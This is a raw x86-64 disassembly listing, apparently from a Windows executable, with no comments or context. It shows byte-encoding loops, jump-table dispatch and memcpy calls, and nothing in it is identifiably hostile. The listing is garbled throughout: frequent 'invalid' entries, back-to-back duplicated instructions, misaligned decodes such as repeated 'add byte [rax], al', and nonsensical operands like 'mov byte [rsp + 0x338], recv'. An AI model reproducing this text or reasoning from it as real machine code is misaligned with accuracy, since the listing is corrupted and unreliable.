jb 0x14007b5b6
lea r14, [rsp + 0x40]
nop dword [rax]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x140078551
mov edx, 1
mov rcx, r14
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
push rax
mov edx, ebx
or dl, 0x80
or byte [rbx + rcx*4 + 0x44], 0x24
mov byte [r8 + rax], dl
or byte [rbx + rcx*4 + 0x44], 0x24
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x90], rax
cmp rax, rcx
ja 0x14007b7c5
mov qword [rsp + 0x48], rax
mov r13, rbx
shr r13, 7
cmp rbx, 0x3fff
mov rbx, r13
ja 0x140078530
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x1400785ae
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], r13b
inc rax
mov qword [rsp + 0x90], rax
cmp rax, rcx
ja 0x14007b7c5
mov qword [rsp + 0x48], rax
mov r13, rbp
cmp rsi, 0x1f
jb 0x140078446
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
invalid
jne 0x140078600
sal dword [rbp + 0x19], 0x48
lea ecx, [rsp + 0x40]
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], 0x3f
inc rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x50]
push rax
cmp rcx, rax
jne 0x140078661
invalid
invalid
mov edx, 1
mov rcx, rbx
call fcn.1400175d0
out dx, eax
stc
dec dword [rax - 0x75]
and al, 0x48
out dx, eax
stc
dec dword [rax - 0x75]
and al, 0x48
mov rcx, qword [rsp + 0x50]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x40]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x90], rax
cmp rax, rcx
ja 0x14007b7c5
mov qword [rsp + 0x48], rax
mov r14, rsi
shr r14, 7
cmp rsi, 0x3fff
mov rsi, r14
ja case.0x14005db00.465
jmp 0x14007875b
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x1400786c8
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0x90], rax
cmp rax, rcx
ja 0x14007b7c5
xchg eax, esp
xor byte [rax], al
invalid
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x48], rax
cmp rbx, 0x80
sti
add byte [rax], 0
add byte [rdi], cl
invalid
shr dword [rsi], 1
add byte [rax], al
sti
add byte [rax], 0
add byte [rdi], cl
invalid
lea rsi, [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x140078721
mov edx, 1
mov rcx, rsi
call fcn.1400175d0
out dx, al
stc
dec dword [rax - 0x75]
and al, 0x48
out dx, al
stc
dec dword [rax - 0x75]
and al, 0x48
mov rcx, qword [rsp + 0x50]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x40]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x90], rax
cmp rax, rcx
ja 0x14007b7c5
xor byte [rax], al
invalid
xor byte [rax], al
add byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x48], rax
mov r14, rbx
shr r14, 7
cmp rbx, 0x3fff
mov rbx, r14
ja 0x140078700
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007877e
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.1400175d0
pop rsp
out dx, al
stc
invalid
pop rsp
out dx, al
stc
dec dword [rax - 0x75]
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax], al
cmp rax, rcx
ja 0x14007b7c5
xor byte [rax], al
invalid
xor byte [rax], al
add byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x48], rax
add r12, rdi
mov qword [rsp + 0x470], 5
mov qword [rsp + 0x2f0], 0
mov dword [rsp + 0x2f0], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x300], edi
mov qword [rsp + 0x308], r15
invalid
invalid
mov esp, 0x31024
add eax, dword [rax]
mov qword [rsp + 0x300], rdi
mov dword [rsp + 0x300], edi
mov qword [rsp + 0x308], r15
mov qword [rsp + 0x310], rdi
mov dword [rsp + 0x310], edi
mov dword [rsp + 0x310], edi
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x18
mov qword [rsp + 0x318], r12
movdqa xmm0, xmmword [rsp + 0x4e0]
movq mm0, qword [rsp + 0x4e0]
movdqu xmmword [rsp + 0x320], xmm0
add byte [rax - 0x75], cl
test byte [rax + rsi*8], ah
and al, 0xf0
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x330], rax
and al, 0x30
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdi], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0
invalid
invalid
add byte [rax], al
and al, 0xf0
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
and al, 0x30
and al, 0x30
add eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
movabs al, byte [0xe4353e8000000]
push 0x49000002
lea eax, [rbp + 0x30]
mov qword [rsp + 0x4c8], rax
enter 4, 0
lea rax, [rsp + 0x478]
mov qword [rsp + 0x3d8], rax
fadd dword [rbx]
add byte [rax], al
and al, 0x78
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
fadd dword [rbx]
add byte [rax], al
invalid
invalid
mov bl, 1
fadd dword [rbx]
add byte [rax], al
movabs r12, 0x100000001b3
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x260], r13
movzx ecx, byte [rsp + 0x338]
add eax, dword [rax]
add byte [rax - 0x7d], cl
stc
or al, 0xf
test ch, ch
in eax, dx
add al, byte [rax]
invalid
lodsb al, byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x8c
and al, 0x38
in eax, dx
add al, byte [rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov esp, 0x34024
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x48
add rax, qword [rax]
mov rdi, qword [rsp + 0x340]
mov rdx, qword [rsp + 0x348]
add rax, qword [rax]
add dh, al
test byte [rax + rdi], ah
add eax, dword [rax]
add byte [rbx], cl
add rax, qword [rax]
add dh, al
test byte [rax + rdi], ah
add eax, dword [rax]
add byte [rbx], cl
cmp cl, 0xb
jne 0x1400788f0
invalid
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x350], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
stosd dword [rdi], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
stosd dword [rdi], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0x358]
mov edx, 4
movupd xmm7, xmmword [rsp + 0x360]
lea rcx, [rdx - 2]
lea r8, [rdx - 1]
cmp rcx, 6
invalid
sal dword [rcx + 0xd8d4c07], 0x12
add eax, 0x634f0019
sbb dword [rax], eax
movsxd r8, dword [r9 + r8*4]
sbb dword [rax], eax
movsxd r8, dword [r9 + r8*4]
or dword [rbp + 1], 0xc68948c8
add r8, r9
mov rsi, rax
jmp r8
invalid
movzx eax, byte [rsp + 0x33f]
shl eax, 0x10
invalid
add eax, dword [rax]
movzx r8d, word [rsp + 0x33d]
movzx eax, word [rsp + 0x33d]
cmp eax, 0x41000003
or eax, eax
or r8d, eax
or eax, eax
or rax, rcx
movq xmm0, rdx
outsb dx, byte [rsi]
invalid
ret 0xff2
movsd xmm7, xmm0
mov edx, 3
lea rcx, [rdx - 2]
dec byte [rbp + r9*4 + 0x42]
dec dword [rax - 0x7d]
stc
invalid
mov ecx, 0
cmovae r8, rcx
cmovae eax, ecx
dec byte [rbp + r9*4 + 0x42]
dec dword [rax - 0x7d]
stc
invalid
mov cl, 7
lea r9, [0x140208df0]
or eax, 0x1904a8
invalid
movsxd r8, dword [r9 + r8*4]
add r8, r9
mov rsi, rax
jmp r8
jmp rax
jmp rax
loopne 0x14007899e
mov rax, qword [rsp + 0x370]
mov eax, dword [rsp + 0x370]
and al, 0x70
add eax, dword [rax]
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
and al, 0x70
mov qword [rsp + 0x370], 0
test rax, rax
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rax*2 + 0x48], 0x8b
je 0x1400789af
invalid
invalid
mov edi, dword [rsp + 0x378]
mov edx, 2
add byte [rax], al
add byte [rsi + 0xf], ah
adc byte [rsp + 0x380], bh
add byte [rbx], 0
invalid
movupd xmm7, xmmword [rsp + 0x380]
add byte [rbx], 0
add byte [rax - 0x73], cl
lea rcx, [rdx - 2]
lea r8, [rdx - 1]
invalid
invalid
cmp rcx, 6
stc
invalid
sal dword [rcx + 0xd8d4c07], 0x4e
add al, 0x19
invalid
lea r9, [0x140208df0]
add al, 0x19
add byte [rdi + 0x63], cl
add al, 0x81
movsxd r8, dword [r9 + r8*4]
add r8, r9
mov rsi, rax
mov dword [rsp + 0x390], 0
test rax, rax
je 0x140078a09
mov rdi, qword [rsp + 0x398]
mov rdi, qword [rsp + 0x398]
mov esp, 0x3a024
add byte [rax - 0x73], cl
mov rsi, rax
jmp r8
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x3b0], 0
test rax, rax
mov rdi, qword [rsp + 0x3b8]
mov edx, 6
movupd xmm7, xmmword [rsp + 0x3c0]
lea rcx, [rdx - 2]
lea r8, [rdx - 1]
invalid
lea ecx, [0x140208df0]
movsxd r8, dword [r9 + r8*4]
add r8, r9
add eax, ecx
add eax, ecx
mov rsi, rax
jmp r8
add eax, dword [rax]
add byte [rsi - 0x39], ah
test byte [rax + rdx*8], ah
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
je 0x140078ab9
invalid
invalid
out 0, al
add bh, bh
test rax, rax
je 0x140078ab9
and rsi, 0xffffffffffff0000
or rsi, rax
mov edx, 7
add byte [rax], al
lea rcx, [rdx - 2]
lea r8, [rdx - 1]
invalid
dec byte [rbp + rcx*4 + 0x42]
dec dword [rax - 0x7d]
stc
invalid
cmp rcx, 6
mov ecx, 0
cmovae r8, rcx
mov cl, 7
invalid
lea r9, [0x140208df0]
add ebx, dword [rcx]
add byte [rdi + 0x63], cl
invalid
add al, 0x81
add ebx, dword [rcx]
add byte [rdi + 0x63], cl
invalid
add al, 0x81
invalid
add r8, r9
mov rdi, qword [rsp + 0x400]
mov esp, 0x40024
invalid
add al, 0
add byte [rax], al
add byte [rcx - 1], al
loopne 0x140078b02
jmp r8
lea rcx, [rsp + 0x338]
lea ecx, [rsp + 0x338]
and al, 0x38
add eax, dword [rax]
call fcn.14006a850
jmp 0x140078b51
xchg byte [rax], al
add byte [rax], al
invalid
lea rcx, [rsp + 0x480]
add byte [rax + rax], 0
call fcn.14006cd90
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x4c0], rax
and al, 0xc0
add al, 0
invalid
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
and al, 0xc0
and al, 0xc0
add al, 0
add byte [rdi], cl
sub byte [rsp + 0x190], al
invalid
movaps xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x4b0], xmm0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
movdqa xmm0, xmmword [rsp + 0x150]
movaps xmm1, xmmword [rsp + 0x160]
mov word [rax + riz*2], fs
add dword [rax], eax
invalid
test byte [rax + rdx*2], ah
push rax
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x160], cl
mov word [rax + riz*2], fs
add dword [rax], eax
invalid
movaps xmm2, xmmword [rsp + 0x170]
add byte [rax], al
movaps xmm3, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x4a0], xmm3
pushfq
and al, 0x80
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x4a0], ebx
movaps xmmword [rsp + 0x490], xmm2
xchg esp, eax
and al, 0x90
add al, 0
add byte [rax], al
movaps xmmword [rsp + 0x480], xmm1
add byte [rax], al
movaps xmmword [rsp + 0x480], xmm1
movdqa xmmword [rsp + 0x470], xmm0
movzx ecx, byte [rsp + 0x338]
mov dh, 0x8c
and al, 0x38
add eax, dword [rax]
add byte [rax - 0x7d], cl
cmp ecx, 0xc
mov dh, 0x8c
and al, 0x38
add eax, dword [rax]
add byte [rax - 0x7d], cl
cmp ecx, 0xc
invalid
test dword [rdi], ebx
std
invalid
jne 0x140078870
mov byte [rsp + 0x338], recv
mov r8d, 0x9f
add byte [rax], al
invalid
cmp byte [rbx], al
add byte [rax], al
or al, 0x41
mov eax, 0x9f
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rcx + rdi], fs
cmp dword [rbx], eax
add byte [rax], al
invalid
invalid
xchg esp, eax
and al, 0x50
lea rcx, [rsp + 0x339]
lea rdx, [rsp + 0x150]
call sub.VCRUNTIME140.dll_memcpy
idiv dword [rdi]
invalid
invalid
add dword [rax], eax
add al, ch
idiv dword [rdi]
invalid
cmp qword [rsp + 0x2f0], 0
je 0x140078bc0
add byte [rcx + rax*2 + 0x48], dh
mov rcx, qword [rsp + 0x2f8]
mov ecx, dword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x330]
cmp rcx, rdx
jae 0x14007b660
mov rax, qword [rsp + 0x320]
and byte [rbx], al
add byte [rax], al
lea rcx, [rcx + rcx*8]
cmp qword [rax + rcx*8 + 0x10], 0
test byte [rax], dl
add dword [rax], eax
add byte [rax - 0x75], cl
mov rdx, qword [rax + rcx*8 + 0x18]
mov r8d, 1
adc byte [rcx], al
add byte [rax], al
mov rdx, qword [rax + rcx*8 + 0x18]
mov r8d, 1
jmp 0x140078cc3
add eax, dword [rcx]
add byte [rax], al
mov rcx, qword [rsp + 0x310]
cmp rcx, qword [rsp + 0x318]
add byte [rax], al
je case.default.0x140078cb8
lea rax, [rcx + 0x68]
mov qword [rsp + 0x310], rax
test byte [rax + rdx], ah
add eax, dword [rax]
invalid
test byte [rax + rdx], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
adc dword [rax - 0x7d], ecx
cli
add cl, byte [rdi]
mov rdx, qword [rcx]
cmp rdx, 2
je case.default.0x140078cb8
invalid
invalid
invalid
add byte [rax], al
test byte [rax - 0x74ffffdb], bh
cmp al, byte [r15 + rcx - 0x49]
shl r8, 0x20
shl r8, 0x20
mov eax, dword [rcx + 0x3a]
movzx r8d, word [rcx + 0x3e]
shl r8, 0x20
or r8, rax
mov qword [rsp + 0x2a0], r8
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x41
cmp dword [rax + 0xf652444], ecx
mov dh, 0x41
invalid
mov byte [rsp + 0x66], al
and al, 0x66
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x41
cmp dword [rax + 0xf652444], ecx
mov dh, 0x41
cmp byte [rax + 0x48662444], cl
and al, 0x66
mov rax, qword [rcx + 0x30]
and al, 0x66
mov rax, qword [rcx + 0x30]
mov qword [rsp + 0x290], rax
mov rax, qword [rcx + 0x28]
mov qword [rsp + 0x288], rax
mov rax, qword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
mov qword [rsp + 0x280], rax
mov eax, dword [rcx + 0x1a]
movzx r8d, word [rcx + 0x1e]
invalid
invalid
shl r8, 0x20
or r8, rax
mov qword [rsp + 0x298], r8
add byte [rax], al
invalid
add byte [rdi + rcx - 0x49], al
jno 0x140078c6e
movzx r14d, word [rcx + 0x18]
mov r8, qword [rcx + 8]
mov rax, qword [rcx + 0x40]
mov eax, dword [rcx + 0x40]
mov eax, dword [rcx + 0x40]
mov rdi, qword [rcx + 0x48]
mov rdi, qword [rcx + 0x48]
movdqu xmm6, xmmword [rcx + 0x50]
mov qword [rsp + 0x2f0], rdx
add al, byte [rax]
add byte [rdx + 1], bh
add byte [rdx + 1], bh
add dword [rax], eax
add byte [rax], al
lea rcx, [rdx - 2]
lea r9, [rdx - 1]
dec dword [rax - 0x7d]
stc
invalid
mov ecx, 0
add byte [rdi + rcx + 0x43], cl
leave
leave
mov qword [rsp + 0x2f8], r8
mov cl, 7
lea r10, [0x140208df0]
sbb dword [rax], eax
add al, byte [rax]
add byte [rcx + 0x158d4c07], dh
push rsi
add dword [rcx], ebx
sbb dword [rax], eax
invalid
invalid
movsxd r8, dword [r10 + r9*4]
add al, 0x8a
add r8, r10
movdqa xmm7, xmm6
mov rsi, rax
mov qword [rsp + 0x4d8], rdi
shl byte [rsi + 0xf], 1
outsd dx, dword [rsi]
dec byte [rax - 0x77]
invalid
mov qword [rsp + 0x4d0], rax
jmp r8
mov qword [rsp + 0x2f0], r8
mov qword [rsp + 0x2f8], rdx
mov dword [rsp + 0x2f8], edx
mov dword [rsp + 0x2f8], edx
add al, byte [rax]
add byte [rdi + rcx - 0x49], al
je case.0x14006cb25.57
movzx r14d, word [rax + rcx*8 + 0x20]
mov edx, dword [rax + rcx*8 + 0x22]
and al, byte [rdi + rcx - 0x49]
invalid
invalid
invalid
and byte [rbx + 0x4422c854], cl
movzx eax, word [rax + rcx*8 + 0x26]
shl r8, 0x20
shl eax, 0x20
and byte [rcx + 9], cl
ror byte [rcx + rcx*4 - 0x7c], 1
mov dword [rsp + 0x298], eax
mov rdx, qword [rax + rcx*8 + 0x28]
mov qword [rsp + 0x280], rdx
mov dword [rsp + 0x280], edx
mov rdx, qword [rax + rcx*8 + 0x30]
invalid
invalid
xchg esp, eax
or r8, rdx
or eax, edx
mov qword [rsp + 0x298], r8
mov dword [rsp + 0x298], eax
mov rdx, qword [rax + rcx*8 + 0x28]
mov qword [rsp + 0x280], rdx
mov dword [rsp + 0x280], edx
mov rdx, qword [rax + rcx*8 + 0x30]
mov edx, dword [rax + rcx*8 + 0x30]
mov qword [rsp + 0x288], rdx
and al, 0x88
add al, byte [rax]
add byte [rax - 0x75], cl
mov rdx, qword [rax + rcx*8 + 0x38]
mov qword [rsp + 0x290], rdx
mov dword [rsp + 0x290], edx
invalid
mov dh, 0x54
mov rdx, qword [rax + rcx*8 + 0x38]
mov qword [rsp + 0x290], rdx
mov dword [rsp + 0x290], edx
mov dword [rsp + 0x290], edx
movzx edx, byte [rax + rcx*8 + 0x40]
mov byte [rsp + 0x66], dl
enter 0xffffffffffff8840, 0x54
and al, 0x66
movzx edx, byte [rax + rcx*8 + 0x41]
mov byte [rsp + 0x65], dl
mov edx, dword [rax + rcx*8 + 0x42]
movzx eax, word [rax + rcx*8 + 0x46]
mov bh, 0x44
enter 0x4846, 0xffffffffffffffc1
loopne 0x140078d58
mov bh, 0x44
enter 0x4846, 0xffffffffffffffc1
loopne 0x140078d58
or rax, rdx
mov qword [rsp + 0x2a0], rax
and al, 0xa0
add al, byte [rax]
add byte [rcx], dh
leave
and al, 0xa0
add al, byte [rax]
add byte [rcx], dh
leave
lea rax, [rcx - 2]
lea rdx, [rcx - 1]
cmp rax, 6
cmovae rdx, rcx
mov cl, 7
lea rax, [0x140208df0]
sbb dword [rax], eax
lea eax, [0x140208df0]
sbb dword [rax], eax
movsxd r8, dword [rax + rdx*4]
add r8, rax
movdqa xmm7, xmm6
xor edx, edx
ror byte [rbx + rcx*4 - 0x74], cl
and al, 0xd0
add al, 0
add byte [rcx + rcx*4 - 0x38], al
ror byte [rbx + rcx*4 - 0x74], cl
and al, 0xd0
add al, 0
add byte [rcx + rcx*4 - 0x38], al
mov rdi, qword [rsp + 0x4d8]
mov rsi, r9
jmp r8
mov qword [rsp + 0x68], rsi
mov rcx, qword [rsp + 0x2a0]
mov r10, qword [rsp + 0x290]
mov rsi, qword [rsp + 0x288]
add byte [rax - 0x75], cl
pushfq
and al, 0x80
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
and al, 0x65
add byte [rax - 0x75], cl
pushfq
and al, 0x80
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
and al, 0x65
mov r11d, r14d
movzx ebp, byte [rsp + 0x66]
test rdx, rdx
je 0x140078e7c
mov r8, qword [rsp + 0x68]
shr r8, 0x10
mov r9d, r14d
shr r9d, 8
or byte [rsi + 0x48], ah
movd esi, mm7
or byte [rsi + 0x48], ah
movd esi, mm7
movzx ecx, byte [rsp + 0x66]
cmp cl, 8
jne 0x140079284
pshufd xmm0, xmm7, 0xee
movq r10, xmm0
ret 0x8b48
mov word [rax + riz*4], fs
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + rsi], fs
add al, 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
ret 0x8b48
mov r11, qword [rsp + 0x290]
mov qword [rsp + 0x428], r11
mov r11, qword [rsp + 0x288]
and al, 0x88
add al, byte [rax]
invalid
mov byte [rdx], al
add byte [rax], al
mov qword [rsp + 0x3f8], r11
clc
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x64], cl
mov r11, qword [rsp + 0x280]
mov qword [rsp + 0x3f0], r11
mov qword [rsp + 0x420], rdx
mov rbx, rdi
mov r11, qword [rsp + 0x280]
mov qword [rsp + 0x3f0], r11
mov qword [rsp + 0x420], rdx
mov rbx, rdi
mov qword [rsp + 0x78], rdi
mov dword [rsp + 0x78], edi
mov qword [rsp + 0x1f8], r8
movzx edx, byte [rsp + 0x65]
mov byte [rsp + 0x76], dl
mov edx, r9d
mov byte [rsp + 0x77], r9b
mov r11d, eax
mov ebp, r14d
mov eax, r14d
mov eax, esi
mov byte [rsp + 0x75], r14b
movdqa xmm8, xmm7
movq mm0, mm7
je 0x140078e9a
jne 0x140078ede
movq mm0, mm7
mov word [rsp + 0x90], r11w
mov dword [rsp + 0x92], r8d
add byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], al
and al, 0x92
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x3f], cl
call 0xc94bf4b4
and byte [rsi + 0x44], ah
invalid
shr r8, 0x20
mov word [rsp + 0x96], r8w
test byte [rsi + rdx*4], ah
add byte [rax], al
add byte [rax], al
test byte [rsi + rdx*4], ah
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x98], rbx
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xa0], rsi
mov ah, 0x24
movabs al, byte [0xa82494894c000000]
mov dword [rsp + 0xa8], edx
mov ah, 0x24
movabs al, byte [0xa82494894c000000]
invalid
xchg esp, eax
and al, 0xa8
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rax - 0x78], al
add byte [rax], al
mov byte [rsp + 0xb0], bpl
lodsb al, byte [rsi]
and al, 0xb0
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xb1], r9b
invalid
mov word [rdx + rsi*4], fs
invalid
add byte [rax], al
mov byte [rsp + 0xb1], r9b
mov dword [rsp + 0xb2], ecx
add byte [rax], al
add byte [rax], al
shr rcx, 0x20
mov word [rsp + 0xb6], cx
add byte [rax - 0x75], cl
test byte [rax + rsi*2], ah
and al, 0x70
add al, 0
add byte [rax - 0x7d], cl
clc
invalid
add byte [rax - 0x75], cl
test byte [rax + rsi*2], ah
and al, 0x70
and al, 0x70
add al, 0
add byte [rax - 0x7d], cl
clc
add eax, 0x296b840f
add byte [rax], al
cmp eax, 5
je 0x14007b852
cmp eax, 3
ja case.default.0x140078efe
clc
add ecx, dword [rdi]
xchg dword [rdx], eax
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rcx, [0x140208ff8]
lea rcx, [0x140208ff8]
add dword [rcx], eax
sbb dword [rax], eax
add dword [rcx], ebx
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
mov rcx, qword [rsp + 0x478]
jmp 0x14007983e
add byte [rax - 0x77], cl
int1
mov rcx, rsi
shr rcx, 0x10
mov qword [rsp + 0x1f8], rcx
add dword [rax], eax
invalid
mov cl, 2
jmp 0x140078fa1
add dword [rax], eax
add byte [rcx + 0x667eeb02], dh
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov rcx, rsi
shr rcx, 0x10
mov qword [rsp + 0x1f8], rcx
movsd xmm8, xmm7
add dword [rax], eax
add dl, dh
movups xmm8, xmm7
mov cl, 3
mov qword [rsp + 0x78], rdi
jl case.0x14006a935.245
js 0x140078f37
pop rsi
jl case.0x14006a935.245
js 0x140078f37
pop rsi
nop dword [rax]
invalid
invalid
invalid
mov rcx, rsi
shr rcx, 0x10
mov qword [rsp + 0x1f8], rcx
add dword [rax], eax
invalid
mov cl, 4
jmp 0x140078fa1
add dword [rax], eax
add byte [rcx + 0x663eeb04], dh
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
mov rcx, rsi
shr rcx, 0x10
mov qword [rsp + 0x1f8], rcx
and al, 0xf8
add dword [rax], eax
invalid
and al, 0xf8
clc
mov cl, 5
jmp 0x140078fa1
nop word cs:[rax + rax]
mov rcx, rsi
shr rcx, 0x10
invalid
adc byte [rax - 0x77], cl
mov word [rax + rdi*8], fs
add dword [rax], eax
add byte [rcx + 0x7c894806], dh
and al, 0x78
mov qword [rsp + 0x1f8], rcx
mov cl, 6
mov qword [rsp + 0x78], rdi
movapd xmm8, xmm7
mov qword [rsp + 0x68], rsi
movq rsi, xmm8
jle 0x140078f7b
jle 0x140078f7b
mov qword [rsp + 0x400], rdi
mov word [rsp + 0x2a8], ax
mov rdx, qword [rsp + 0x1f8]
mov dword [rsp + 0x2aa], edx
stosb byte [rdi], al
add al, byte [rax]
add byte [rax - 0x3f], cl
invalid
and byte [rsi - 0x77], ah
xchg esp, eax
and al, 0xae
add al, byte [rax]
add byte [rax - 0x75], cl
push rsp
and al, 0x78
invalid
stosb byte [rdi], al
add al, byte [rax]
add byte [rax - 0x3f], cl
invalid
add byte [rax - 0x75], cl
push rsp
and al, 0x78
invalid
mov qword [rsp + 0x2b0], rdx
movups xmmword [rsp + 0x2b8], xmm8
movzx edx, byte [rsp + 0x75]
mov byte [rsp + 0x2c8], dl
xchg esp, eax
and al, 0xc8
add al, byte [rax]
add byte [rax], al
movzx edx, byte [rsp + 0x77]
add byte [rax], al
movzx edx, byte [rsp + 0x77]
mov byte [rsp + 0x2c9], dl
mov rdx, qword [rsp + 0x420]
mov dword [rsp + 0x2ca], edx
and al, 0xca
add al, byte [rax]
invalid
leave
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x20
add al, 0
add byte [rcx + 0x2ca2494], cl
and al, 0xca
add al, byte [rax]
invalid
and al, 0xca
add al, byte [rax]
add byte [rax - 0x3f], cl
invalid
shr rdx, 0x20
shr edx, 0x20
mov word [rsp + 0x2ce], dx
mov rdx, qword [rsp + 0x3f0]
and al, 0xf0
add eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0x2d0], edx
and al, 0xf0
add eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0x2d0], edx
invalid
invalid
xchg esp, eax
mov rdx, qword [rsp + 0x3f8]
mov qword [rsp + 0x2d8], rdx
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x28
add al, 0
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xe0
add al, byte [rax]
add byte [rax + 0x2e8248c], cl
add byte [rax], al
and al, 0xf8
add eax, dword [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xd8
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x28
add al, 0
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xe0
add al, byte [rax]
add byte [rax + 0x2e8248c], cl
add byte [rax], al
movzx edx, byte [rsp + 0x76]
push rsp
and al, 0x76
invalid
mov byte [rsp + 0x2e9], dl
jmp 0x18807906f
mov rdx, qword [rsp + 0x430]
and al, 0x30
add al, 0
invalid
xor byte [rax + rax], al
add byte [rax], al
add byte [rcx + 0x2ea2494], cl
add byte [rax], al
mov dword [rsp + 0x2ea], edx
shr rdx, 0x20
mov word [rsp + 0x2ee], dx
mov dword [rsp + 0x2ee], edx
mov dword [rsp + 0x2ee], edx
out dx, al
add al, byte [rax]
add byte [rax - 0x49f0013f], al
sar esi, 0xf
invalid
add cl, 0xfe
movzx ecx, cl
leave
sar esi, 0xf
mov dh, 0xc9
leave
leave
lea rdi, [rcx + 1]
xor r8d, r8d
cmp cl, 6
cmovae rdi, r8
